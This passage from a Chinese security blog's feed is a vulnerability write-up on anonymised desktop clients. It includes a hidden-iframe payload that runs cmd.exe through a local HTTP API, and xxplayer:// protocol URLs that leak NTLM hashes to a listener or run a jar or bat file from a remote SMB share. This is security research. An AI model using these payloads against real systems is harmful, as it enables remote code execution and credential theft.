\/><\/p>\n\n<p>\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u8ddf\u8fdb\u53bb\u770b\u4e00\u4e0b\u8be5\u5904\u7406\u51fd\u6570\uff0c\u770b\u770b\u662f\u5426\u53ef\u4ee5\u5c06\u53ef\u63a7\u53c2\u6570\u503c\u5e26\u5165\u5230<code>ShellExecuteA<\/code>\u51fd\u6570\u91cc\u53bb\u6267\u884c\u3002<\/p>\n\n<p>\u5728\u51fd\u6570\u7684\u4e00\u5f00\u59cb\u5c31\u5224\u65ad\u8fd0\u884c\u5f53\u524d\u7a0b\u5e8f\u7684\u7528\u6237\u662f\u5426\u662f<code>system<\/code>\uff0c\u5982\u679c\u4e0d\u662f\u7684\u8bdd\u5219\u76f4\u63a5\u8fd4\u56de\u54cd\u5e94\u5185\u5bb9\uff08\u72b6\u6001\u7801500\uff09\u63d0\u793a\u5f53\u524d\u4e0d\u662f\u4ee5SYSTEM\u6743\u9650\u8fd0\u884c\u7684\u8fdb\u7a0b\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16680699571630.jpg\" alt=\"\" \/><\/p>\n\n<p>\u8fd9\u91cc\u6211\u4eec\u901a\u8fc7Process Hacker\u53ef\u4ee5\u770b\u5230<code>UserClient.exe<\/code>\u8fdb\u7a0b\u5bf9\u5e94\u7684\u7528\u6237\u5c31\u662f<code>SYSTEM<\/code>\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16680700889509.jpg\" alt=\"\" \/><\/p>\n\n<p>\u4e5f\u5c31\u8868\u793a\u6211\u4eec\u5f53\u524d\u662f\u6ee1\u8db3\u8fd9\u4e2a\u6761\u4ef6\u7684\uff0c\u6240\u4ee5\u53ef\u4ee5\u63a5\u7740\u770bIF\u5206\u652f\u5185\u7684\u903b\u8f91\u3002\u5728IF\u5206\u652f\u5185\u5c31\u6267\u884c\u4e86<code>ShellExecuteA<\/code>\u51fd\u6570\uff0c\u6839\u636e<code>ShellExecuteA<\/code>\u51fd\u6570\u7684\u4f7f\u7528\u8bed\u6cd5\u6211\u4eec\u77e5\u9053\u5b83\u8fd9\u662f\u4ee5<code>v15<\/code>\u4f5c\u4e3a\u53c2\u6570\u6267\u884c<code>v16<\/code>\u7a0b\u5e8f\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u77e5\u9053<code>v15<\/code>\u3001<code>v16<\/code>\u8fd9\u4e24\u4e2a\u53d8\u91cf\u662f\u5982\u4f55\u8d4b\u503c\u800c\u6765\u7684\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16680708970258.jpg\" alt=\"\" \/><\/p>\n\n<p>\u5177\u4f53\u7684\u903b\u8f91\u53ef\u4ee5\u4e0b\u56fe\uff0c\u6211\u4eec\u627e\u5230\u8d4b\u503c\u5173\u7cfb\u6700\u7ec8\u786e\u8ba4\u4e00\u5207\u7684\u53c2\u6570\u6765\u6e90\u90fd\u662f<code>Block<\/code>\uff0c\u8be5\u503c\u662f\u4e00\u4e2a\u5168\u5c40\u53d8\u91cf\uff0c\u90a3\u4e48\u6839\u636e\u5f53\u524d\u7684\u73af\u5883\u6211\u4eec\u5c31\u53ef\u4ee5\u731c\u6d4b\u6b64\u5904\u7684\u6765\u6e90\u5c31\u662fHTTP\u8bf7\u6c42\u53c2\u6570\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16680711304718.jpg\" alt=\"\" \/><\/p>\n\n<p>\u6839\u636e\u731c\u6d4b\uff0c\u6211\u4eec\u53ef\u4ee5\u5148\u4f7f\u7528OD\u9644\u52a0\u8fdb\u7a0b\u5728<code>ShellExecuteA<\/code>\u51fd\u6570\u5904\u4e0b\u65ad\u70b9\u3002<\/p>\n\n<p>\u7136\u540e\u8bf7\u6c42URL\uff1a<code>http:\/\/127.0.0.1:38230\/api_install?file=cmd.exe&amp;param=\/k%20notepad<\/code>\uff0c\u6211\u4eec\u5c31\u4f1a\u5728OD\u754c\u9762\u4e2d\u770b\u89c1\u7aef\u70b9\u5230<code>ShellExecuteA<\/code>\u51fd\u6570\u4e86\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6808\u6765\u770b\u4e00\u4e0b\u4f20\u53c2\u662f\u4ec0\u4e48\u3002<\/p>\n\n<p>\u5982\u4e0b\u6240\u793a\u6211\u4eec\u53d1\u73b0<code>ShellExecuteA<\/code>\u51fd\u6570\u7684\u53c2\u6570<code>FileName<\/code>\u548c<code>Parameters<\/code>\u662f\u4e00\u4e32\u4e71\u7801\u7684\u5185\u5bb9\uff0c\u8fd9\u5e94\u8be5\u662f\u6211\u4eec\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u7ecf\u8fc7\u4e86\u67d0\u4e9b\u5904\u7406\u540e\u5bfc\u81f4\u7684\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16681317190938.jpg\" alt=\"\" \/><\/p>\n\n<p>\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u5728URI<code>\/api_install<\/code>\u5bf9\u5e94\u5904\u7406\u7684\u51fd\u6570\u8d77\u59cb\u4f4d\u7f6e\u4e0b\u65ad\u70b9\u4e00\u6b65\u4e00\u6b65\u8ddf\u8fdb\u770b\u4e00\u4e0b\u6211\u4eec\u8bf7\u6c42\u7684\u53c2\u6570\u503c\u662f\u5426\u771f\u7684\u5e26\u8fdb\u6765\u4e86\uff0c\u5982\u679c\u5e26\u8fdb\u6765\u4e86\u4e3a\u4ec0\u4e48\u6700\u7ec8\u503c\u4f1a\u53d8\u6210\u4e00\u6bb5\u4e71\u7801\u7684\u6570\u636e\u3002<\/p>\n\n<p>\u5982\u4e0b\u56feOD\u4e2d\u53ef\u4ee5\u770b\u89c1\u6211\u4eec\u7684\u8bf7\u6c42\u53c2\u6570<code>file<\/code>\u7684\u503c<code>cmd.exe<\/code>\u786e\u5b9e\u53ef\u4ee5\u5e26\u8fdb\u6765\uff0c\u8fd9\u4e5f\u5c31\u9a8c\u8bc1\u4e86\u6211\u4eec\u7684\u731c\u60f3\uff0c<code>ShellExecuteA<\/code>\u51fd\u6570\u7684\u53c2\u6570\u662f\u6765\u6e90\u4e8eHTTP\u8bf7\u6c42\u53c2\u6570\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16681356708499.jpg\" alt=\"\" \/><\/p>\n\n<p>\u63a5\u7740\u8d70\u4e0b\u53bb\u6211\u4eec\u4f1a\u53d1\u73b0\u8c03\u7528\u5982\u4e0b\u51fd\u6570\u65f6\u7684\u53c2\u6570\u5c31\u662f\u6211\u4eec\u7684\u8bf7\u6c42\u53c2\u6570<code>file<\/code>\u548c\u5bf9\u5e94\u503c<code>cmd.exe<\/code>\uff0c\u5f53\u8be5\u51fd\u6570\u6267\u884c\u5b8c\u6210\u4e4b\u540e\u8fd4\u56de\u5230EAX\u5bc4\u5b58\u5668\uff0c\u6211\u4eec\u8ddf\u8fdbEAX\u5bc4\u5b58\u5668\u7684\u5730\u5740\u67e5\u770b\u6570\u636e\u5c31\u4f1a\u53d1\u73b0\u6570\u636e\u4e3a\u4e71\u7801\u5185\u5bb9\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u5728<code>ShellExecuteA<\/code>\u51fd\u6570\u65ad\u70b9\u5904\u770b\u89c1\u7684\u53c2\u6570\u3002<\/p>\n\n<pre><code class=\"language-asm\">push esi\npush eax\ncall UserClie.004203B0\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2023-12-18\/16681358274356.jpg\" alt=\"\" \/><\/p>\n\n<p>\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u8ddf\u8fdb\u51fd\u6570<code>004203B0<\/code>\u5728IDA\u4e2d\u770b\u4e00\u4e0b\u5b83\u5177\u4f53\u505a\u4e86\u4ec0\u4e48\uff0c\u8fd9\u6837\u6211\u4eec\u624d\u80fd\u6784\u9020\u8bf7\u6c42\u8ba9\u771f\u6b63\u7684\u5b57\u7b26\u4e32\u5e26\u5165\u5230<code>ShellExecuteA<\/code>\u51fd\u6570\u4e2d\u6267\u884c\u3002<\/p>\n\n<p>\u5728\u8fd9\u4e4b\u524d\u6211\u4eec\u9700\u8981\u6ce8\u610f\uff0c\u7531\u4e8eIDA\u548c\u5b9e\u9645\u8fdb\u7a0b\u6267\u884c\u7684\u57fa\u5740\u4e0d\u540c\uff0c\u6211\u4eec\u53ef\u4ee5\u5728OD\u4e2d\u627e\u5230\u8fdb\u7a0b\u57fa\u5740\u7136\u540e\u5c06IDA\u5bf9\u5e94\u7684\u57fa\u5740\u4fee\u6539\u4e3a\u8fdb\u7a0b\u7684\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u76f4\u63a5\u8ddf\u8fdb\u51fd\u6570<code>004203B0<\/code>\uff0c\u800c\u4e0d\u9700\u8981\u518d\u53bb\u8fdb\u884c\u5730\u5740\u7684\u6362\u7b97\u3002<\/p>\n\n<p>\u5728IDA\u4e2d\u8ddf\u8fdb\u51fd\u6570<code>004203B0<\/code>\uff0c\u5b83\u5b9e\u9645\u4e0a\u4e5f\u662f\u8c03\u7528\u7684\u53e6\u5916\u4e00\u4e2a\u51fd\u6570<code>00370C70<\/code>\uff0c\u5728\u8be5\u51fd\u6570\u91cc\u5bf9\u5b57\u7b26\u4e32\u8fdb\u884c\u4f4d\u79fb\u8f6c\u6362\uff0c\u731c\u6d4b\u53ef\u80fd\u662f\u81ea\u5b9a\u4e49\u7684\u89e3\u7801\u65b9\u5f0f\u3002\u4f46\u662f\u5728\u5b83\u8fdb\u884c\u904d\u5386\u7684\u8fc7\u7a0b\u4e2d\u4f7f\u7528\u5230\u4e86\u4e00\u6bb5\u6570\u7ec4\u6570\u636e<code>word_74E940<\/code>\uff0c\u6211\u4eec\u8ddf\u8fdb\u8fd9\u4e2a\u6570\u636e\u4e4b\u540e\u53d1\u73b0\u4f3c\u4e4e\u662f\u4e00\u5f20\u89e3\u7801\u8868\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16681457115844.jpg\" alt=\"\" \/><\/p>\n\n<p>\u5982\u4e0b\u5c06\u6574\u6bb5\u6570\u636e\u7f57\u5217\u51fa\u6765\uff0c\u770b\u7740\u4e0eBase64\u89e3\u7801\u6240\u9700\u8981\u7684\u89e3\u7801\u8868\u662f\u4e00\u81f4\u7684\uff0c\u6240\u4ee5\u6b64\u5904\u6781\u6709\u53ef\u80fd\u5c31\u662fBase64\u89e3\u7801\u64cd\u4f5c\uff0c\u5c06\u6211\u4eec\u7684\u8f93\u5165\u7684\u5b57\u7b26\u4e32<code>cmd.exe<\/code>\u8fdb\u884c\u89e3\u7801\uff0c\u6700\u7ec8\u5c31\u53d8\u6210\u4e86\u4e71\u7801\u3002<\/p>\n\n<p>\u6211\u4eec\u53ef\u4ee5\u5c06<code>cmd.exe<\/code>\u5b57\u7b26\u4e32\u8fdb\u884cBase64\u89e3\u7801\uff0c\u53d1\u73b0\u7ed3\u679c\u786e\u5b9e\u4e3a\u6211\u4eec\u4e4b\u524d\u6240\u770b\u5230\u7684\u4e71\u7801\u5185\u5bb9\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16681461174700.jpg\" alt=\"\" \/><\/p>\n\n<p>\u6700\u7ec8\u6211\u4eec\u4e5f\u5c31\u786e\u5b9a\u4e86\u8fd9\u91cc\u7684\u8bf7\u6c42\u53c2\u6570\u503c\u662f\u9700\u8981\u5148\u8fdb\u884cBase64\u7f16\u7801\u4e4b\u540e\u518d\u5e26\u5165\u8bf7\u6c42\u7684\u3002\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u6784\u5efa\u51fa\u5982\u4e0bExploit\uff0c\u5f53\u5b89\u88c5\u4e86\u8be5\u5ba2\u6237\u7aef\u7684\u5e94\u7528\u6253\u5f00Exp\u4ee3\u7801\u5bf9\u5e94\u9875\u9762\u65f6\uff0c\u5373\u53ef\u4ee5\u6267\u884c\u6211\u4eec\u60f3\u8981\u7684\u547d\u4ee4\u3002<\/p>\n\n<pre><code class=\"language-html\">&lt;iframe src=\"http:\/\/127.0.0.1:38230\/api_install?file=Y21kLmV4ZQ==&amp;param=L2sgbm90ZXBhZA==\" width=\"0px\" height=\"0px\"&gt;\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2023-12-18\/17028770589143.jpg\" alt=\"\" \/><\/p>\n\n<h5 id=\"\u67d0\u89c6\u9891\u8f6f\u4ef6\u5ba2\u6237\u7aef\">\u67d0\u89c6\u9891\u8f6f\u4ef6\u5ba2\u6237\u7aef<\/h5>\n\n<p>\u901a\u8fc7URLProtocolView\u627e\u5230\u89c6\u9891\u8f6f\u4ef6\u5ba2\u6237\u7aef\u6ce8\u518c\u7684\u4f2a\u534f\u8bae\uff1a<code>xxplayer:\/\/<\/code>\uff0c\u901a\u8fc7\u5b57\u7b26\u4e32\u5b9a\u4f4d\u7a0b\u5e8f\u4f2a\u534f\u8bae\u7684\u5904\u7406\u529f\u80fd\u70b9\uff0c\u4e5f\u53ef\u4ee5\u77e5\u9053\u6709\u54ea\u4e9b\u7684\u4f2a\u534f\u8bae\u8def\u7531\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028774570110.jpg\" alt=\"\" \/><\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028774924444.jpg\" alt=\"\" \/><\/p>\n\n<p>\u53d1\u73b0\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7<code>xxplayer:\/\/action.cmd\/xxx<\/code>\u7684\u65b9\u5f0f\u6765\u89e6\u53d1\u4e00\u4e9b\u529f\u80fd\uff0c\u6240\u6709\u529f\u80fd\u5217\u8868\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n\n<pre><code>xxplayer:\/\/action.cmd\/playShareVideo\nxxplayer:\/\/action.cmd\/play\nxxplayer:\/\/action.cmd\/downloadvideo\nxxplayer:\/\/action.cmd\/downloadpage\nxxplayer:\/\/action.cmd\/downloadShareVideo\nxxplayer:\/\/action.cmd\/createshortcut_url\nxxplayer:\/\/action.cmd\/createshortcut\nxxplayer:\/\/action.cmd\/activeHomepage\n<\/code><\/pre>\n\n<p>\u6839\u636e\u5b57\u9762\u610f\u601d\u7406\u89e3\u5b83\u7684\u4f5c\u7528\u5373\u53ef\uff0c\u8fd9\u91cc\u6211\u4eec\u4e00\u4e2a\u4e00\u4e2a\u5e26\u5165\u8bf7\u6c42\u5c1d\u8bd5\uff0c\u53d1\u73b0\u5f53\u8bf7\u6c42<code>createshortcut_url<\/code>\u65f6\u4f1a\u5728\u684c\u9762\u521b\u5efa<code>.link<\/code>\u7684\u5feb\u6377\u65b9\u5f0f\u6587\u4ef6\u3002<\/p>\n\n<p>\u6211\u4eec\u8ddf\u8fdb\u8fd9\u4e2a\u521b\u5efa\u5feb\u6377\u65b9\u5f0f\u7684\u903b\u8f91\uff0c\u53d1\u73b0\u5b9e\u9645\u4e0a\u5b83\u8fd8\u6709\u4e24\u4e2a\u53c2\u6570\uff1a<code>url<\/code>\u3001<code>name<\/code>\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16756111480279.jpg\" alt=\"\" \/><\/p>\n\n<p>\u7136\u540e\u5c06\u8fd9\u4e24\u4e2a\u53c2\u6570\u503c\u5e26\u5165<code>CreateUrlShortcut<\/code>\u51fd\u6570\u6267\u884c\uff0c\u8fd9\u4e2a\u51fd\u6570\u662f\u5bfc\u5165\u51fd\u6570\uff0c\u5c31\u662f\u7528\u4e8e\u521b\u5efa\u684c\u9762\u5feb\u6377\u65b9\u5f0f\u7684\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16756112003388.jpg\" alt=\"\" \/><\/p>\n\n<p>\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u6784\u5efa\u4f2a\u534f\u8baeURL\uff1a<code>xxplayer:\/\/action.cmd\/createshortcut_url?url=http:\/\/www.baidu.com&amp;name=Test<\/code>\uff0c\u8bbf\u95ee\u5c31\u53d1\u73b0\u5b83\u521b\u5efa\u4e86\u4e00\u4e2a\u540d\u4e3a<code>Test<\/code>\u7684\u5feb\u6377\u65b9\u5f0f\uff0c\u76ee\u6807\u4e3a\uff1a<code>C:\\xxplayer.exe \\UrlQuickLunch=http:\/\/www.baidu.com,0<\/code>\uff0c\u4e5f\u5c31\u8868\u793a\u6211\u4eec\u4f20\u5165\u7684<code>url<\/code>\u53c2\u6570\u503c\u53d8\u6210\u4e86\u542f\u52a8\u53c2\u6570\uff0c<code>name<\/code>\u53c2\u6570\u503c\u53d8\u6210\u4e86\u5feb\u6377\u65b9\u5f0f\u540d\u5b57\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028772674438.jpg\" alt=\"\" \/><\/p>\n\n<p>\u5f53\u6211\u4eec\u53cc\u51fb\u8fd9\u4e2a\u5feb\u6377\u65b9\u5f0f\u65f6\uff0c\u5c31\u4f1a\u8c03\u7528\u6d4f\u89c8\u5668\u6253\u5f00<code>http:\/\/www.baidu.com<\/code>\u3002<\/p>\n\n<p>\u63a5\u7740\u6211\u4eec\u53d1\u73b0\u53ea\u8981<code>url<\/code>\u53c2\u6570\u503c\u4e3a<code>xxx:\/\/xxx.xxx\/<\/code>\u7684\u683c\u5f0f\u5373\u53ef\uff0c\u90a3\u4e48\u6211\u4eec\u5c1d\u8bd5\u5c06<code>url<\/code>\u53c2\u6570\u503c\u4fee\u6539\u4e3a<code>file:\/\/172.16.176.176\/netntlm<\/code>\uff0c\u4e5f\u5c31\u53d8\u6210\u8fd9\u6837\uff1a<code>xxplayer:\/\/action.cmd\/createshortcut_url?url=file:\/\/172.16.176.176\/netntlm&amp;name=123<\/code>\uff0c\u5728\u673a\u5668\u4e0a<code>responder<\/code>\u76d1\u542c\u4e00\u4e0b\uff0c\u5f53\u6253\u5f00\u5feb\u6377\u65b9\u5f0f\u65f6\u6536\u5230\u4e86NTLM Hash\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16756130536051.jpg\" alt=\"\" \/><\/p>\n\n<p>\u9664\u4e86\u83b7\u53d6NTLM Hash\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u5728Ubuntu\u4e0a\u5f00\u4e00\u4e2aSMB\u670d\u52a1\uff0c\u7136\u540e\u5c06<code>url<\/code>\u53c2\u6570\u8bbe\u4e3a\u4f7f\u7528<code>\\\\172.16.176.176\\share\\Test.exe<\/code>\uff0c\u4f7f\u7528\u5feb\u6377\u65b9\u5f0f\u6253\u5f00\u5171\u4eab\u6587\u4ef6\uff0c\u53d1\u73b0\u786e\u5b9e\u53ef\u4ee5\u6253\u5f00EXE\u6587\u4ef6\uff0c\u4f46\u662f\u4f1a\u6709\u6587\u4ef6\u4fe1\u4efb\u7684\u5b89\u5168\u8b66\u544a\uff08Mark-of-the-Web\uff09\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16756160973381.jpg\" alt=\"\" \/><\/p>\n\n<p>\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7<code>jar<\/code>\u6587\u4ef6\u5f62\u5f0f\u53bb\u7ed5\u8fc7\uff0c\u6253\u5305\u4e00\u4e2a\u6253\u5f00\u8ba1\u7b97\u5668\u7684Jar\u5305\u653e\u5728\u5171\u4eab\u76ee\u5f55\u4e0b\uff0c\u7136\u540e\u5c06<code>url<\/code>\u53c2\u6570\u8bbe\u4e3a\u4f7f\u7528<code>\\\\172.16.176.176\\share\\1.jar<\/code>\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16756162884409.jpg\" alt=\"\" \/><\/p>\n\n<p>\u8bbf\u95ee<code>xxplayer:\/\/action.cmd\/createshortcut_url?url=\\\\172.16.176.225\\share\\1.jar&amp;name=123<\/code>\uff0c\u521b\u5efa\u5feb\u6377\u65b9\u5f0f\uff0c\u6253\u5f00\u5feb\u6377\u65b9\u5f0f\uff0c\u6267\u884cJar\u5305\u542f\u52a8\u8ba1\u7b97\u5668\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u5b9e\u73b0\u4e861 Click\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028772455266.jpg\" alt=\"\" \/><\/p>\n\n<p>\u4f7f\u7528\u8fdc\u7a0bJar\u5305\u7684\u65b9\u5f0f\u6765\u8fbe\u5230\u4efb\u610f\u547d\u4ee4\u6267\u884c\u8fd8\u662f\u6709\u5c40\u9650\u6027\uff0c\u5982\u679c\u76ee\u6807\u673a\u5668\u4e0d\u5b58\u5728Java\u73af\u5883\u5c31\u65e0\u6cd5\u6267\u884c\uff0c\u56e0\u6b64\u5728\u5bf9\u6587\u4ef6\u4fe1\u4efb\u673a\u5236\u7684\u7814\u7a76\u53d1\u73b0\u5728<code>smb<\/code>\u5171\u4eab\u6587\u4ef6\u4e2d\u6253\u5f00<code>zip<\/code>\u538b\u7f29\u5305\u5185\u7684<code>bat<\/code>\u6587\u4ef6\uff0c\u4e0d\u4f1a\u6709\u4efb\u4f55\u5f39\u7a97\u63d0\u793a\u76f4\u63a5\u6267\u884c<code>bat<\/code>\u6587\u4ef6\u5185\u5bb9\u3002<\/p>\n\n<p>\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u5728\u5171\u4eab\u6587\u4ef6\u5939\u4e2d\u521b\u5efa<code>1.zip<\/code>\uff0c\u653e\u5165\u5185\u5bb9\u4e3a<code>calc<\/code>\u7684<code>1.bat<\/code>\u6587\u4ef6\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16756704688552.jpg\" alt=\"\" \/><\/p>\n\n<p>\u5c06<code>url<\/code>\u53c2\u6570\u503c\u8bbe\u4e3a<code>\\\\172.16.176.225\\share\\1.zip\\1.bat<\/code>\uff0c\u7136\u540e\u8bbf\u95ee<code>xxplayer:\/\/action.cmd\/createshortcut_url?url=\\\\172.16.176.225\\share\\1.zip\\1.bat&amp;name=123<\/code>\u521b\u5efa\u684c\u9762\u5feb\u6377\u65b9\u5f0f\uff0c\u6253\u5f00\u5feb\u6377\u65b9\u5f0f\u5373\u53ef\u6267\u884c<code>bat<\/code>\u6587\u4ef6\uff0c\u6700\u7ec8\u8fbe\u5230\u4e0d\u9700\u8981\u4efb\u4f55\u4f9d\u8d56\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028772348064.jpg\" alt=\"\" \/><\/p>\n\n<h2 id=\"\u603b\u7ed3\">\u603b\u7ed3<\/h2>\n\n<p>\u7b80\u5355\u603b\u7ed3\u4e00\u4e0b\u4ee5\u4e0a\u4e24\u7c7b\u5ba2\u6237\u7aef\u7684\u653b\u51fb\u5165\u53e3\u3001RCE\u98ce\u9669\u548c\u5f71\u54cd\u9762\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028779762348.jpg\" alt=\"\" \/><\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028780061810.jpg\" alt=\"\" \/><\/p>\n\n<p>\u5173\u4e8e\u5ba2\u6237\u7aef\u672c\u5730\u5f00\u542f\u7684\u7f51\u7edc\u534f\u8bae\u95ee\u9898\uff0c\u6211\u603b\u7ed3\u51fa\u5982\u4e0b\u51e0\u6b65\u53ef\u4ee5\u5feb\u901f\u7684\u8fdb\u884c\u6f0f\u6d1e\u53d1\u73b0:<\/p>\n\n<ol>\n  <li>\u627e\u5230\u5ba2\u6237\u7aef\u542f\u52a8\u7684\u672c\u5730\u7f51\u7edc\u670d\u52a1\uff08TCP\u3001UDP\uff09\uff0c\u8fd9\u4e2a\u53ef\u4ee5\u7528\u706b\u7ed2\u5251\u6216\u8005CMD\u7684\u65b9\u5f0f\u67e5\u770b\uff1b<\/li>\n  <li>\u6709\u672c\u5730\u76d1\u542c\u7684\u60c5\u51b5\u4e0b\uff0c\u627e\u5230\u5bf9\u5e94\u7684\u7a0b\u5e8f\u4ee5\u53ca\u52a0\u8f7d\u7684DLL\uff0c\u901a\u8fc7IDA\u6839\u636e\u7aef\u53e3\u53f7\u627e\u5230\u76d1\u542c\u7684\u70b9\uff0c\u5982\u679c\u662fC\/C++\u7684\u7a0b\u5e8f\u4e00\u822c\u627ebind\u8fd9\u4e2a\u51fd\u6570\u5c31\u80fd\u5feb\u901f\u5b9a\u4f4d\u5230\uff1b<\/li>\n  <li>\u5411\u4e0a\u56de\u6eaf\u627e\u8c03\u7528\u94fe\uff0c\u5e76\u6839\u636e\u7f51\u7edc\u670d\u52a1\u7684\u8fd4\u56de\u7ed3\u679c\uff0c\u4f8b\u5982HTTP\u8bbf\u95ee\u4f1a\u6709\u4e00\u6bb5\u5b57\u7b26\u4e32\u6216\u8005\u54cd\u5e94\u5934\u7684\u4e00\u4e9b\u5b57\u7b26\u4e32\uff0c\u5b9a\u4f4d\u5230\u4ee3\u7801\u5904\u7406\u903b\u8f91\uff1b<\/li>\n  <li>\u5982\u679c\u903b\u8f91\u5bf9\u5e94\u4e0a\u4e86\uff0c\u90a3\u5c31\u63a5\u7740\u627e\u7a0b\u5e8f\u7684\u5bfc\u5165\u8868\u662f\u5426\u5b58\u5728\u654f\u611f\u7684\u51fd\u6570\uff0c\u4f8b\u5982\uff1aCreateProcess\u3001WinExec\u3001ShellExec\uff0c\u5982\u679c\u5b58\u5728\u5219\u53ef\u4ee5\u5411\u4e0a\u56de\u6eaf\u770b\u770b\u662f\u5426\u4e0e\u7f51\u7edc\u670d\u52a1\u76d1\u542c\u70b9\u6709\u8054\u7cfb\uff1b<\/li>\n  <li>\u5f53\u6761\u4ef6\u90fd\u6ee1\u8db3\u7684\u65f6\u5019\u5c31\u60f3\u5c3d\u529e\u6cd5\uff0c\u901a\u8fc7\u65ad\u70b9\u8c03\u8bd5\u7b49\u64cd\u4f5c\uff0c\u627e\u4f20\u53c2\u6216\u6570\u636e\u4f20\u8f93\u683c\u5f0f\uff0c\u770b\u770b\u53ef\u63a7\u5185\u5bb9\u662f\u5426\u53ef\u8fbe\u654f\u611f\u7684\u51fd\u6570\u5904\uff1b<\/li>\n  <li>\u6839\u636e\u4ee3\u7801\u903b\u8f91\u6784\u9020PoC\u89e6\u53d1\u6f0f\u6d1e\uff0c\u5e76\u5c1d\u8bd5\u6b66\u5668\u5316\u5229\u7528\u3002<\/li>\n<\/ol>\n\n<h2 id=\"\u81f4\u8c22\">\u81f4\u8c22<\/h2>\n\n<p>\u5728\u6587\u7ae0\u7684\u6700\u540e\uff0c\u6211\u8981\u611f\u8c22\u516c\u53f8\u90e8\u95e8\u9886\u5bfc\u548c\u540c\u4e8b\u5bf9\u672c\u8bae\u9898\u7684\u8d21\u732e\u548c\u5e2e\u52a9\uff08\u4ee5\u4e0b\u6392\u540d\u4e0d\u5206\u5148\u540e\uff09\uff0c\u611f\u8c22\u5b57\u8282\u8df3\u52a8\u5b89\u5168\u4e2d\u5fc3\u5bf9\u4e8e\u672c\u6b21\u6c99\u9f99\u7684\u7b79\u529e\u548c\u7b56\u5212\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028782795487.jpg\" alt=\"\" \/><\/p>\n","pubDate":"2023-12-18T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2023-12-18\/1","guid":"https:\/\/gh0st.cn\/archives\/2023-12-18\/1"},{"title":"\u6211\u773c\u4e2d\u7684\u7ea2\u961f","description":"<h1 id=\"\u6211\u773c\u4e2d\u7684\u7ea2\u961f\">\u6211\u773c\u4e2d\u7684\u7ea2\u961f<\/h1>\n\n<p>\u788e\u8bed\u95f2\u8c08\uff0c\u4f5c\u4e3a\u4e00\u540d\u591a\u5e74\u7684\u5341\u516b\u7ebf\u7ea2\u961f\u9009\u624b\u4e00\u76f4\u60f3\u5199\u4e00\u7bc7\u6587\u7ae0\u6765\u603b\u7ed3\u4e0b\u201c\u6211\u773c\u4e2d\u7684\u7ea2\u961f\u201d\uff0c\u4e4b\u524d\u5199\u8fc7\u4e00\u70b9\uff0c\u56e0\u6587\u7b14\u62d9\u52a3\u9042\u5220\u9664\uff0c\u8d77\u672c\u6587\u91cd\u5199\u3002<\/p>\n\n<h2 id=\"\u4ec0\u4e48\u662f\u7ea2\u961f\">\u4ec0\u4e48\u662f\u7ea2\u961f<\/h2>\n\n<p>\u73b0\u5982\u4eca\u662f\u6570\u5b57\u5316\u65f6\u4ee3\uff0c\u4e07\u7269\u8054\u7f51\u521b\u9020\u4e86\u4e00\u4e2a\u65b0\u7684\u7a7a\u95f4\uff0c\u5373\u7f51\u7edc\u7a7a\u95f4\uff0c\u7f51\u7edc\u7a7a\u95f4\u7684\u5b89\u5168\u4e5f\u4e0a\u5347\u5230\u4e86\u56fd\u5bb6\u5b89\u5168\u5c42\u9762\uff0c\u5e76\u4e14\u7f51\u7edc\u5df2\u7ecf\u6210\u4e3a\u56fd\u5bb6\u7ee7\u6d77\u3001\u9646\u3001\u7a7a\u3001\u5929\u4e4b\u540e\u7684\u7b2c\u4e94\u5927\u4e3b\u6743\u9886\u57df\u7a7a\u95f4\u3002<\/p>\n\n<p>\u6b63\u662f\u5982\u6b64\uff0c\u7f51\u7edc\u7a7a\u95f4\u4e5f\u5c31\u5982\u4f20\u7edf\u9886\u57df\u7a7a\u95f4\u4e00\u6837\uff0c\u9700\u8981\u901a\u8fc7\u6f14\u4e60\u5bf9\u6297\u7684\u6a21\u5f0f\uff0c\u63d0\u5347\u7f51\u7edc\u5b89\u5168\u9632\u5fa1\u80fd\u529b\uff0c\u4ee5\u653b\u4fc3\u9632\uff0c\u77e5\u653b\u5584\u9632\u3002<\/p>\n\n<p>\u653b\u9632\u53cc\u65b9\u5728\u6f14\u4e60\u4e2d\u901a\u5e38\u79f